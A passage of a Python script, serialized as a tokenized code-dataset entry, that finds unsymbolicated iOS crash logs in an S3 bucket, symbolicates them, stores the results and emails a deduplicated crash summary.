"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "options_", "._", "define_", "(_", "'", "dry", "\\u", "run", "'_", ",_", "default_", "=_", "True_", ",_", "help_", "=_", "'", "Do", " ", "not", " ", "update", " ", "dynamodb", " ", "metric", "s", " ", "table", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "options_", "._", "define_", "(_", "'", "require", "\\u", "lock", "'_", ",_", "type_", "=_", "bool_", ",_", "default_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "atte", "mpt", " ", "to", " ", "gra", "b", " ", "the", " ", "job", ":", "client", "\\u", "logs", "\\u", "analys", "is", " ", "lock", " ", "bef", "ore", " ", "runn", "ing", ".", " ", "Exi", "t", " ", "if", " ", "acquir", "e", " ", "fail", "s", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "options_", "._", "define_", "(_", "'", "send", "\\u", "email", "'_", ",_", "type_", "=_", "bool_", ",_", "default_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "Ema", "il", " ", "crash", " ", "summar", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "options_", "._", "define_", "(_", "'", "email", "'_", ",_", "default_", "=_", "'", "crash", "-", "report", "s", "+", "client", "@", "email", "scrub", "bed", ".", "com", "'_", ",_", "help_", "=_", "'", "Ema", "il", " ", "address", " ", "to", " ", "notif", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "options_", "._", "define_", "(_", "'", "show", "\\u", "at", "\\u", "most", "'_", ",_", "type_", "=_", "int_", ",_", "default_", "=_", "100_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "Show", " ", "at", " ", "most", " ", "this", " ", "many", " ", "symbolic", "ated", " ", "crashes", " ", "in", " ", "email", " ", "summar", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "options_", "._", "define_", "(_", "'", "s3", "\\u", "url", "\\u", "expir", "ation", "\\u", "day", "s", "'_", ",_", "default_", "=_", "14_", ",_", "help_", "=_", "'", "Time", " ", "to", " ", "live", " ", "in", " ", "day", "s", " ", "for", " ", "S", "3", " ", "URL", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sys_", "._", "exit_", "(_", "main_", "._", "Ini", "t", "And", "Run_", "(_", "Start_", ")_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "gen_", "._", "engine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Sen", "d", "Email_", "(_", "title_", ",_", "text_", ",_", "callback_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "from", "'_", ":_", "'", "crash", "-", "report", "s", "+", "client", "@", "email", "scrub", "bed", ".", "com", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "from", "name", "'_", ":_", "'", "Symboli", "cator", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "to", "'_", ":_", "options_", "._", "options_", "._", "email_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "subject", "'_", ":_", "title_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "text", "'_", ":_", "text_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Ema", "il", "Manager_", "._", "Instance_", "(_", ")_", "._", "Sen", "d", "Email_", ",_", "description_", "=_", "title_", ",_", "**_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "callback_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "engine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Run", "On", "ce_", "(_", "client_", ",_", "callback_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Fin", "d", " ", "all", " ", "crash", " ", "files", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "merge", "d\\u", "store_", "=_", "Object", "Store_", "._", "Get", "Instance_", "(_", "logs", "\\u", "util_", "._", "User", "Cra", "sh", "Log", "s", "Paths_", "._", "MERGE", "D", "\\u", "LOG", "S", "\\u", "BUCKET", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "files_", "=_", "yield_", "gen_", "._", "Task_", "(_", "store", "\\u", "utils_", "._", "List", "All", "Keys_", ",_", "merge", "d\\u", "store_", ",_", "prefix_", "=_", "'", "merge", "d\\u", "user", "\\u", "crashes", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "crash", "\\u", "files_", "=_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "symbolic", "ated", "\\u", "files_", "=_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "f_", "in_", "files_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "f_", "._", "endswith_", "(_", "'.", "crash", "'_", ")_", "or_", "f_", "._", "endswith_", "(_", "'.", "crash", ".", "gz", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "crash", "\\u", "files_", "._", "add_", "(_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "f_", "._", "endswith_", "(_", "'.", "crash", ".", "symbol", "'_", ")_", "or_", "f_", "._", "endswith_", "(_", "'.", "crash", ".", "gz", ".", "symbol", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Strip", " ", "'.", "symbol", "'.", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "symbolic", "ated", "\\u", "files_", "._", "add_", "(_", "f_", "[_", ":_", "-_", "7_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "missing_", "=_", "crash", "\\u", "files_", "._", "difference_", "(_", "symbolic", "ated", "\\u", "files_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "\\", "10", ";", " ", " ", "A", " ", "sample", " ", "list", " ", "of", " ", "files", " ", "to", " ", "test", " ", "with", ".", " ", "Sho", "ul", "d", " ", "probab", "ly", " ", "go", " ", "awa", "y", " ", "in", " ", "fav", "or", " ", "of", " ", "cmdli", "ne", ".", "\\", "10", ";", " ", " ", "missi", "ng", " ", "=", " ", "[", "\\", "10", ";", " ", " ", "'", "merge", "d\\u", "user", "\\u", "crashes", "/", "833", "9", "/", "2013", "-0", "7", "-", "25", "/", "dev", "-1", "819", "4", "-0", "1", "-1", "7", "-1", "4.9", "1", "8", "-", "2.0", ".1", ".6", "1", ".", "crash", "',", "\\", "10", ";", " ", " ", "'", "merge", "d\\u", "user", "\\u", "crashes", "/", "787", "2", "/", "2013", "-0", "7", "-", "24", "/", "dev", "-1", "724", "6", "-1", "7", "-", "4", "6", "-0", "7.2", "7", "7", "-", "2.0", ".1", ".6", "1", ".", "crash", "',", "\\", "10", ";", " ", " ", "'", "merge", "d\\u", "user", "\\u", "crashes", "/", "824", "6", "/", "2013", "-0", "7", "-", "25", "/", "dev", "-1", "794", "7", "-0", "0", "-0", "7", "-", "59.", "215", "-", "2.0", ".1", ".6", "1", ".", "crash", "',", "\\", "10", ";", " ", " ", "'", "merge", "d\\u", "user", "\\u", "crashes", "/", "824", "6", "/", "2013", "-0", "7", "-", "25", "/", "dev", "-1", "794", "7", "-0", "0", "-0", "8", "-1", "7.8", "2", "2", "-", "2.0", ".1", ".6", "1", ".", "crash", "',", "\\", "10", ";", " ", " ", "'", "merge", "d\\u", "user", "\\u", "crashes", "/", "834", "2", "/", "2013", "-0", "7", "-", "25", "/", "dev", "-1", "813", "6", "-0", "0", "-", "5", "8", "-0", "9.0", "6", "1", "-", "2.0", ".1", ".6", "1", ".", "crash", "',", "\\", "10", ";", " ", " ", "'", "merge", "d\\u", "user", "\\u", "crashes", "/", "228", "6", "/", "2013", "-0", "7", "-", "24", "/", "dev", "-1", "716", "3", "-1", "5", "-1", "9", "-1", "1.7", "7", "8", "-", "2.1", ".0", ".7", "0.", "dev", ".", "jail", "broken", ".", "crash", "',", "\\", "10", ";", " ", " ", "'", "merge", "d\\u", "user", "\\u", "crashes", "/", "876", "8", "/", "2013", "-0", "7", "-", "25", "/", "dev", "-1", "894", "1", "-0", "6", "-0", "4", "-1", "8.5", "9", "1", "-", "2.0", ".2", ".6", "9", ".", "crash", "',", "\\", "10", ";", " ", " ", "'", "merge", "d\\u", "user", "\\u", "crashes", "/", "833", "9", "/", "2013", "-0", "7", "-", "25", "/", "dev", "-1", "819", "4", "-0", "1", "-1", "8", "-1", "7.6", "13", "-", "2.0", ".1", ".6", "1", ".", "crash", "',", "\\", "10", ";", " ", " ", "'", "merge", "d\\u", "user", "\\u", "crashes", "/", "807", "4", "/", "2013", "-0", "7", "-", "24", "/", "dev", "-1", "764", "5", "-", "23", "-1", "9", "-", "33.", "700", "-", "2.0", ".1", ".6", "1", ".", "crash", "',", "\\", "10", ";", " ", " ", "'", "merge", "d\\u", "user", "\\u", "crashes", "/", "832", "0", "/", "2013", "-0", "7", "-", "25", "/", "dev", "-1", "809", "6", "-0", "1", "-", "3", "1", "-", "49.", "906", "-", "2.0", ".1", ".6", "1", ".", "crash", "',", "\\", "10", ";", " ", " ", "'", "merge", "d\\u", "user", "\\u", "crashes", "/", "824", "6", "/", "2013", "-0", "7", "-", "25", "/", "dev", "-1", "794", "7", "-0", "0", "-0", "9", "-1", "1.7", "8", "1", "-", "2.0", ".1", ".6", "1", ".", "crash", "',", "\\", "10", ";", " ", " ", "'", "merge", "d\\u", "user", "\\u", "crashes", "/", "875", "1", "/", "2013", "-0", "7", "-", "25", "/", "dev", "-1", "891", "0", "-0", "5", "-", "5", "4", "-", "43.", "572", "-", "2.0", ".2", ".6", "9", ".", "crash", "',", "\\", "10", ";", " ", " ", "'", "merge", "d\\u", "user", "\\u", "crashes", "/", "824", "6", "/", "2013", "-0", "7", "-", "25", "/", "dev", "-1", "794", "7", "-0", "0", "-0", "9", "-1", "9.1", "20", "-", "2.0", ".1", ".6", "1", ".", "crash", "',", "\\", "10", ";", " ", " ", "'", "merge", "d\\u", "user", "\\u", "crashes", "/", "834", "1", "/", "2013", "-0", "7", "-", "25", "/", "dev", "-1", "813", "4", "-0", "0", "-", "4", "6", "-", "50.", "904", "-", "2.0", ".1", ".6", "1", ".", "crash", "',", "\\", "10", ";", " ", " ", "'", "merge", "d\\u", "user", "\\u", "crashes", "/", "831", "6", "/", "2013", "-0", "7", "-", "25", "/", "dev", "-1", "808", "0", "-0", "2", "-1", "4", "-", "49.", "269", "-", "2.0", ".1", ".6", "1", ".", "crash", "',", "\\", "10", ";", " ", " ", "'", "merge", "d\\u", "user", "\\u", "crashes", "/", "874", "3", "/", "2013", "-0", "7", "-", "25", "/", "dev", "-1", "889", "8", "-0", "5", "-", "40", "-", "50.", "450", "-", "2.0", ".1", ".6", "1", ".", "crash", "',", "\\", "10", ";", " ", " ", "'", "merge", "d\\u", "user", "\\u", "crashes", "/", "807", "4", "/", "2013", "-0", "7", "-", "24", "/", "dev", "-1", "764", "5", "-", "23", "-1", "2", "-", "56.", "844", "-", "2.0", ".1", ".6", "1", ".", "crash", "',", "\\", "10", ";", " ", " ", "'", "merge", "d\\u", "user", "\\u", "crashes", "/", "228", "6", "/", "2013", "-0", "7", "-", "24", "/", "dev", "-1", "716", "3", "-1", "5", "-1", "9", "-", "20.", "884", "-", "2.1", ".0", ".7", "0.", "dev", ".", "jail", "broken", ".", "crash", "',", "\\", "10", ";", " ", " ", "'", "merge", "d\\u", "user", "\\u", "crashes", "/", "809", "3", "/", "2013", "-0", "7", "-", "24", "/", "dev", "-1", "765", "0", "-", "23", "-", "2", "9", "-", "34.", "198", "-", "2.0", ".1", ".6", "1", ".", "crash", "',", "\\", "10", ";", " ", " ", "'", "merge", "d\\u", "user", "\\u", "crashes", "/", "833", "9", "/", "2013", "-0", "7", "-", "25", "/", "dev", "-1", "819", "4", "-0", "1", "-1", "7", "-", "40.", "123", "-", "2.0", ".1", ".6", "1", ".", "crash", "',", "\\", "10", ";", " ", " ", "'", "merge", "d\\u", "user", "\\u", "crashes", "/", "807", "4", "/", "2013", "-0", "7", "-", "24", "/", "dev", "-1", "764", "5", "-", "23", "-1", "9", "-", "41.", "996", "-", "2.0", ".1", ".6", "1", ".", "crash", "'", "\\", "10", ";", " ", " ", "]", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "Foun", "d", " ", "%", "d", " ", "crash", " ", "logs", ",", " ", "%", "d", " ", "missi", "ng", ":", " ", "%", "r", "'_", "%_", "(_", "len_", "(_", "crash", "\\u", "files_", ")_", ",_", "len_", "(_", "missing_", ")_", ",_", "missing_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "missing_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "callback_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "missi", "ng", "\\u", "crashes", "_", "=_", "sorted_", "(_", "list_", "(_", "missing_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "process", "ed", "\\u", "crashes", "_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "failures_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "f_", "in_", "missi", "ng", "\\u", "crashes", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "We", " ", "coul", "d", " ", "encounter", " ", "any", " ", "number", " ", "of", " ", "fail", "ure", "s", " ", "in", " ", "get", ",", " ", "symbolic", "ate", ",", " ", "and", " ", "put", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "contents_", "=_", "yield_", "gen_", "._", "Task_", "(_", "merge", "d\\u", "store_", "._", "Get_", ",_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Is", " ", "there", " ", "a", " ", "single", " ", "command", " ", "to", " ", "do", " ", "this", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "lines_", "=_", "[_", "l_", "+_", "'\\\\", "n", "'_", "for_", "l_", "in_", "contents_", "._", "split_", "(_", "'\\\\", "n", "'_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sym_", "=_", "Symboli", "cator", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sym_", "._", "process", "\\u", "one", "\\u", "file_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "newfile", "_", "=_", "f_", "+_", "'.", "symbol", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "options_", "._", "options_", "._", "dry", "\\u", "run_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "gen_", "._", "Task_", "(_", "merge", "d\\u", "store_", "._", "Put", "_", ",_", "newfile", "_", ",_", "sym_", "._", "Full", "Output_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "Wro", "te", " ", "%", "d", " ", "bytes", " ", "to", " ", "%", "s", "'_", "%_", "(_", "len_", "(_", "sym_", "._", "Full", "Output_", "(_", ")_", ")_", ",_", "newfile", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "write", " ", "the", " ", "full", " ", "symbolic", "ated", " ", "file", " ", "to", " ", "S", "3", ",", " ", "but", " ", "the", " ", "summar", "y", " ", "email", " ", "only", " ", "includes_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "summar", "y", ":", " ", "preamble", " ", "+", " ", "crash", "ed", " ", "thread", " ", "backt", "race", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "out", "\\u", "dict_", "=_", "sym_", "._", "Output", "Dict_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out", "\\u", "dict_", "[_", "'", "filename", "'_", "]_", "=_", "newfile", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "process", "ed", "\\u", "crashes", "_", "[_", "newfile", "_", "]_", "=_", "out", "\\u", "dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msg_", "=_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logging_", "._", "error_", "(_", "'", "Fail", "ed", " ", "to", " ", "process", " ", "%", "s", ":", " ", "%", "s", "'_", "%_", "(_", "f_", ",_", "msg_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "failures_", "[_", "f_", "]_", "=_", "msg_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "Success", "full", "y", " ", "process", "ed", " ", "crashes", ":", " ", "%", "r", "'_", "%_", "process", "ed", "\\u", "crashes", "_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "Symboli", "cate", " ", "fail", "ure", "s", ":", " ", "%", "r", "'_", "%_", "failures_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Generate", " ", "the", " ", "email", ".", " ", "Keys", " ", "for", " ", "'", "process", "ed", "\\u", "crashes", "'", " ", "are", " ", "the", " ", "final", " ", "filename", "s", " ", "(", "with", " ", ".", "symbol", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "For", " ", "'", "fail", "ure", "s", "',", " ", "keys", " ", "are", " ", "the", " ", "non", "-", "symbolic", "ated", " ", "filename", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "title_", "=_", "'%", "d", " ", "new", " ", "client", " ", "crashes", "'_", "%_", "len_", "(_", "missi", "ng", "\\u", "crashes", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "title_", "+_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "S", "3", "URL_", "(_", "filename_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "merge", "d\\u", "store_", "._", "Generate", "Url_", "(_", "filename_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "expir", "es", "\\u", "in_", "=_", "constants_", "._", "SECOND", "S", "\\u", "PER", "\\u", "DAY_", "*_", "options_", "._", "options_", "._", "s3", "\\u", "url", "\\u", "expir", "ation", "\\u", "days_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "content", "\\u", "type_", "=_", "'", "text", "/", "plain", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "failures_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "title_", "+=_", "'", " ", "(%", "d", " ", "fail", "ed", " ", "dur", "ing", " ", "process", "ing", ")'_", "%_", "len_", "(_", "failures_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "+=_", "'\\\\", "n", "Process", "ing", " ", "fail", "ure", "s", ":", " ", "%", "d", "\\\\", "n", "'_", "%_", "len_", "(_", "failures_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "f_", ",_", "tb_", "in_", "failures_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "text_", "+=_", "'-------", "--------------", "-----", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "+=_", "'", "Non", "-", "symbolic", "ated", " ", "file", ":", " ", "%", "s", "\\\\", "n", "%", "s", "\\\\", "n", "'_", "%_", "(_", "\\u", "S", "3", "URL_", "(_", "f_", ")_", ",_", "tb_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "process", "ed", "\\u", "crashes", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dedup", "ed", "\\u", "crashes", "_", "=_", "defaultdict_", "(_", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "v_", "in_", "process", "ed", "\\u", "crashes", "_", "._", "values_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dedup", "ed", "\\u", "crashes", "_", "[_", "v_", "[_", "'", "crash", "ed", "\\u", "thread", "\\u", "backt", "race", "'_", "]_", "]_", "._", "append_", "(_", "v_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "text_", "+=_", "'\\\\", "n", "%", "d", " ", "symbolic", "ated", " ", "crashes", ",", " ", "%", "d", " ", "after", " ", "dedup", "ing", "\\\\", "n", "\\\\", "n", "'_", "%_", "(_", "len_", "(_", "process", "ed", "\\u", "crashes", "_", ")_", ",_", "len_", "(_", "dedup", "ed", "\\u", "crashes", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "crash", "\\u", "set_", "in_", "dedup", "ed", "\\u", "crashes", "_", "._", "values_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "text_", "+=_", "'-------", "--------------", "-----", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "+=_", "'%", "d", " ", "crashes", " ", "after", " ", "dedup", "ing", ".", " ", "Full", " ", "symbolic", "ated", " ", "files", ":\\\\", "n", "'_", "%_", "len_", "(_", "crash", "\\u", "set_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "c_", "in_", "crash", "\\u", "set_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "text_", "+=_", "'%", "s", "\\\\", "n", "'_", "%_", "\\u", "S", "3", "URL_", "(_", "c_", "[_", "'", "filename", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "text_", "+=_", "'\\\\", "n", "Fi", "rst", " ", "crash", ":\\\\", "n", "%", "s", "%", "s", "%", "s", "\\\\", "n", "'_", "%_", "(_", "c_", "[_", "'", "preamble", "'_", "]_", ",_", "c_", "[_", "'", "crash", "ed", "\\u", "thread", "\\u", "title", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "c_", "[_", "'", "crash", "ed", "\\u", "thread", "\\u", "backt", "race", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Sen", "d", "Email_", ",_", "title_", ",_", "text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "callback_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "engine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Start_", "(_", "callback_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "sys_", "._", "platform_", "==_", "'", "dar", "win", "'_", ",_", "'", "Thi", "s", " ", "script", " ", "can", " ", "only", " ", "run", " ", "on", " ", "OSX", ".", " ", "You", " ", "are", " ", "usi", "ng", " ", "%", "s", "'_", "%_", "sys_", "._", "platform_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "Grab", " ", "a", " ", "lock", " ", "on", " ", "job", ":", "client", "\\u", "logs", "\\u", "analys", "is", " ", "and", " ", "call", " ", "Run", "On", "ce", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "client_", "=_", "db", "\\u", "client_", "._", "DB", "Client_", "._", "Instance_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "job_", "=_", "Job_", "(_", "client_", ",_", "'", "client", "\\u", "logs", "\\u", "analys", "is", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "options_", "._", "options_", "._", "send", "\\u", "email_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Whe", "n", " ", "runn", "ing", " ", "on", " ", "dev", "box", ",", " ", "this", " ", "prompt", "s", " ", "for", " ", "the", " ", "passp", "hra", "se", ".", " ", "Ski", "p", " ", "if", " ", "not", " ", "sendin", "g", " ", "email", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Ema", "il", "Manager_", "._", "Set", "Instance_", "(_", "Sen", "d", "Grid", "Ema", "il", "Manager_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Ema", "il", "Manager_", "._", "Set", "Instance_", "(_", "Log", "ging", "Ema", "il", "Manager_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "options_", "._", "options_", "._", "require", "\\u", "lock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "got", "\\u", "lock_", "=_", "yield_", "gen_", "._", "Task_", "(_", "job_", "._", "Acquire", "Lock_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "got", "\\u", "lock_", "==_", "False_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logging_", "._", "warning_", "(_", "'", "Fail", "ed", " ", "to", " ", "acquir", "e", " ", "job", " ", "lock", ":", " ", "exit", "ing", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "callback_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " 